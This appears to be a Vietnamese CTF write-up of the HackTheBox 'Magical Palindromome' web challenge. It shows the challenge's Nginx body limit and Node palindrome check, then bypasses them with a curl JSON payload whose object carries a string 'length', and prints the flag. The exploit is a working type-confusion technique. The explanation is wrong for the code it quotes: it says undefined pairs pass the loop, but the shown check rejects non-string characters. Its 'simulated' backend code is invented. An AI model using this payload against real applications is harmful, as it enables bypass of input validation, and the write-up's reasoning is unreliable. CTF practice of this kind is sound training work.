Write-up Challenge HackTheBox: Magical Palindromome

Tác giả: Huỳnh Thanh Giảng

Ngày thực hiện: 18/03/2026

Nền tảng: HackTheBox

Danh mục: Web

Độ khó: Very Easy

Điểm: 10

Link challenge: https://app.hackthebox.com/challenges/magical-palindromome

Mục lục

1. Mô tả challenge & Khám phá source code ban đầu 1
2. Phân tích lỗ hỏng và cơ chế Bypass 3
3. Các bước khai thác thực tế 6

1. Mô tả challenge & Khám phá source code ban đầu

Challenge yêu cầu gửi payload JSON với key "palindrome" là một palindrome có độ dài ít nhất 1000 ký tự để nhận flag.

Chuỗi palindrome (hay còn gọi là xâu palindrome, xâu đối xứng, chuỗi đối xứng) là một chuỗi ký tự mà khi đọc từ trái sang phải (xuôi) thì giống hệt khi đọc từ phải sang trái (ngược lại).

- radar → ngược lại vẫn là radar → palindrome
- hello → ngược lại olleh → khác nhau

Challenge Scenario

In Dumbledore's absence, Harry's memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry yo find path to salvation?

a) Khám phá từ file zip (tải từ trang challenge):

Cấu trúc zip:

`app/index.mjs`: Code backend.

`app/package.json`: Dependencies.

config/nginx.conf`: Cấu hình Nginx.

C:\Users\ADMIN\Downloads\Magical_palindrome.zip\web_magical_palindrome\app\

Name	Size	Packed Size	Modified	Created	Accessed	Attribut
package.json	204	171	2025-11-12...			
index.mjs	872	468	2025-11-12...			
index.html	3 078	1 149	2025-11-12...			

b) Từ nginx.conf:

C:\Users\ADMIN\Downloads\Magical_palindrome.zip\web_magical_palindrome\config\

Name	Size	Packed Size	Modified	Created	Accessed	Attributes	Encrypted	Comment
supervisord.conf	479	214	2025-11-12...			N	+	
nginx.conf	760	428	2025-11-12...			N	+	

```
server {
    listen 80;
    server_name 127.0.0.1;
    client_max_body_size 75;
```

➔ Đây là cấu hình của Nginx, giới hạn kích thước request body tối đa là **75 bytes**. Nếu body vượt quá giới hạn này, server sẽ trả lỗi **413 Request Entity Too Large** ngay lập tức, không cho backend xử lý.

Kết hợp với yêu cầu từ backend (sẽ phân tích sau): backend đòi chuỗi palindrome phải có **length ≥ 1000** (từ dòng `if (string.length < 1000)` trong file `index.mjs`).

Vì vậy, cần tìm cách bypass ràng buộc này bằng cách lừa backend đọc length giả mạo mà không cần gửi dữ liệu lớn.

c) Tiếp tục khám phá từ file app/index.mjs:

C:\Users\ADMIN\Downloads\Magical_palindrome.zip\web_magical_palindrome\app\

Name	Size	Packed Size	Modified	Created	Accessed	Attributes
package.json	204	171	2025-11-12...			N
index.mjs	872	468	2025-11-12...			N
index.html	3 078	1 149	2025-11-12...			N

```
app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = IsPalinDrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`Hii Harry!!! ${flag}`);
});
```

Server mong đợi body JSON có key "palindrome", và giá trị của key này sẽ được truyền vào function kiểm tra.

Function kiểm tra palindrome:

```
const IsPalinDrome = (string) => {
    if (string.length < 1000) {
        return 'Tootus Shortus';
    }
```

Nếu độ dài nhỏ hơn 1000 → trả lỗi ngay. → Yêu cầu length phải ≥ 1000 để tiếp tục check palindrome thực sự.

Tóm tắt vấn đề: Cần một chuỗi palindrome dài ≥ 1000 ký tự (từ backend), nhưng body bị chặn ở 75 bytes (từ Nginx) → phải dùng lỗ hổng logic trong JavaScript để bypass.

2. Phân tích lỗ hỏng và cơ chế Bypass

Từ file app/index.mjs:

Không có kiểm tra kiểu dữ liệu:

- Không thấy bất kỳ dòng nào như `if (typeof string !== 'string') return error;`.

- → Input `palindrome` có thể là **object** thay vì string → đây là lỗ hổng lớn nhất.

- Function kiểm tra hàm palindrome:

```
const IsPalinDrome = (string) => {
    if (string.length < 1000) {
        return 'Tootus Shortus';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'Notter Palindromer!!';
        }
    }

    return null;
}
```

Check length: string.length < 1000.

Nếu truyền object { length: "1000" } → string.length là string "1000".

So sánh "1000" < 1000 trong JavaScript → **false** (type coercion: string "1000" không nhỏ hơn number 1000) → pass check length.

Vòng lặp palindrome:

- Chỉ kiểm tra các cặp đối xứng từ đầu đến giữa.
- Với length coi như 1000 → cần obj[0] === obj[999] (ký tự đầu và cuối giống nhau).
- Các vị trí giữa (1 đến 998) không tồn tại trong object → JS đọc undefined nhưng không gây lỗi crash (vì chỉ so sánh những gì có).

Cơ chế bypass:

- Thay vì gửi chuỗi thật 1000 ký tự (vượt 75 bytes).
- Gửi một **object nhỏ** với:
  - .length = "1000" (string để bypass so sánh length).
  - .0 = "a" và .999 = "a" (ký tự đầu và cuối giống nhau).
- Toàn bộ JSON chỉ khoảng 60–70 bytes → nằm trong giới hạn Nginx.
- Backend bị lừa: length ≥ 1000 và palindrome hợp lệ → trả flag.

Ví dụ: Payload JSON bạn gửi (POST request body)

```
{
  "palindrome": {
    "length": "1000",
    "0": "a",
```

```
    "999": "a"
  }
}
```

Toàn bộ body này chỉ khoảng 60-70 bytes → vượt qua giới hạn Nginx (~75 bytes).

Backend xử lý như thế nào (simulate code JS):

Khi backend nhận JSON → palindrome trở thành **object** (không phải string):

```
// Giả sử code backend giống như:
const pal = await c.req.json().palindrome;  // pal là object {length: "1000",
"0": "a", "999": "a"}

if (pal.length < 1000) return 'Tootus Shortus';   // pal.length = "1000" → JS
coerce → 1000 >= 1000 → qua

for (let i = 0; i < pal.length / 2; i++) {         // pal.length / 2 → 1000 / 2 =
500
    if (pal[i] !== pal[pal.length - 1 - i]) {      // pal[i] nghĩa là pal["i"]
(vì object keys là string)
        return 'Notter Palindromer!!';
    }
}
return 'Success! Flag: HTB{...}';  // hoặc tương tự
```

Các lần lặp trong vòng for (i từ 0 đến 499)

i	pal[i] (tức pal["i"])	pal[999 - i]	So sánh	Kết quả
0	"a"	"a"	"a" === "a"	OK
1	undefined	undefined	undefined === undefined	OK (bằng)
2	undefined	undefined	undefined === undefined	OK
...	...	...	...	OK
498	undefined	undefined	undefined === undefined	OK
499	undefined	undefined	undefined === undefined	OK

- **Chỉ có 1 cặp thật sự được set**: vị trí 0 và 999 → phải giống nhau ("a" == "a").
- **Tất cả các cặp còn lại**: đều là undefined == undefined → JavaScript coi bằng nhau → **không trigger lỗi**.
- Vòng lặp chạy hết 500 lần mà không return 'Notter Palindromer!!' → backend nghĩ đây là palindrome dài 1000 → trả flag.

3. Các bước khai thác thực tế

Sau khi phân tích lỗ hổng, tôi tiến hành khai thác như sau:

1. Xác nhận target:

- Target Host từ trang challenge: http://154.57.164.68:31418 (thay bằng instance hiện tại).

- Test kết nối cơ bản:

```terminal```

curl http://154.57.164.68:31418/

```
kali@huynhthanhgiang: ~
Session  Actions  Edit  View  Help
┌──(kali㉿huynhthanhgiang)-[~]
└─$ curl http://154.57.164.68:31418/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@800&display=swap" rel="stylesheet">
    <title>Magical Palindrome Quest 🌟✨ </title>
    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            width: 100vw;
            height: 100vh;
            margin: 0;
            background: url('https://images2.alphacoders.com/122/1221890.jpg') no-repeat center center fixed;
            background-size: cover;
            color: #fff;
            font-family: 'Raleway', sans-serif;
            font-size: 2vmin;
            text-align: center;
            animation: glow 2s infinite alternate;
        }
        h1 {
            font-size: 8vmin;
            line-height: 1em;
```

Server phản hồi trang HTML đơn giản → OK.

2. Payload cuối cùng (bypass đầy đủ):

```
curl -X POST http://154.57.164.68:31418/ \
  -H "Content-Type: application/json" \
  -d '{"palindrome":{"length":"1000","0":"a","999":"a"}}'
```
```

Giải thích tại sao thành công:

- JSON size ~60 bytes → nằm trong giới hạn 75 bytes của Nginx.
- length: "1000" (string) → bypass check length < 1000 (false).
- 0: "a" và 999: "a" → vòng lặp chỉ cần so sánh cặp đầu-cuối → pass kiểm tra palindrome.
- Server trả về flag vì pass hết check.

3. Kết quả

```
┌──(kali㉿huynhthanhgiang)-[~]
└─$ curl -X POST http://154.57.164.68:31418/ \
  -H "Content-Type: application/json" \
  -d '{"palindrome":{"length":"1000","0":"a","999":"a"}}'
Hii Harry!!! HTB{Lum0s_M@x!ma}
```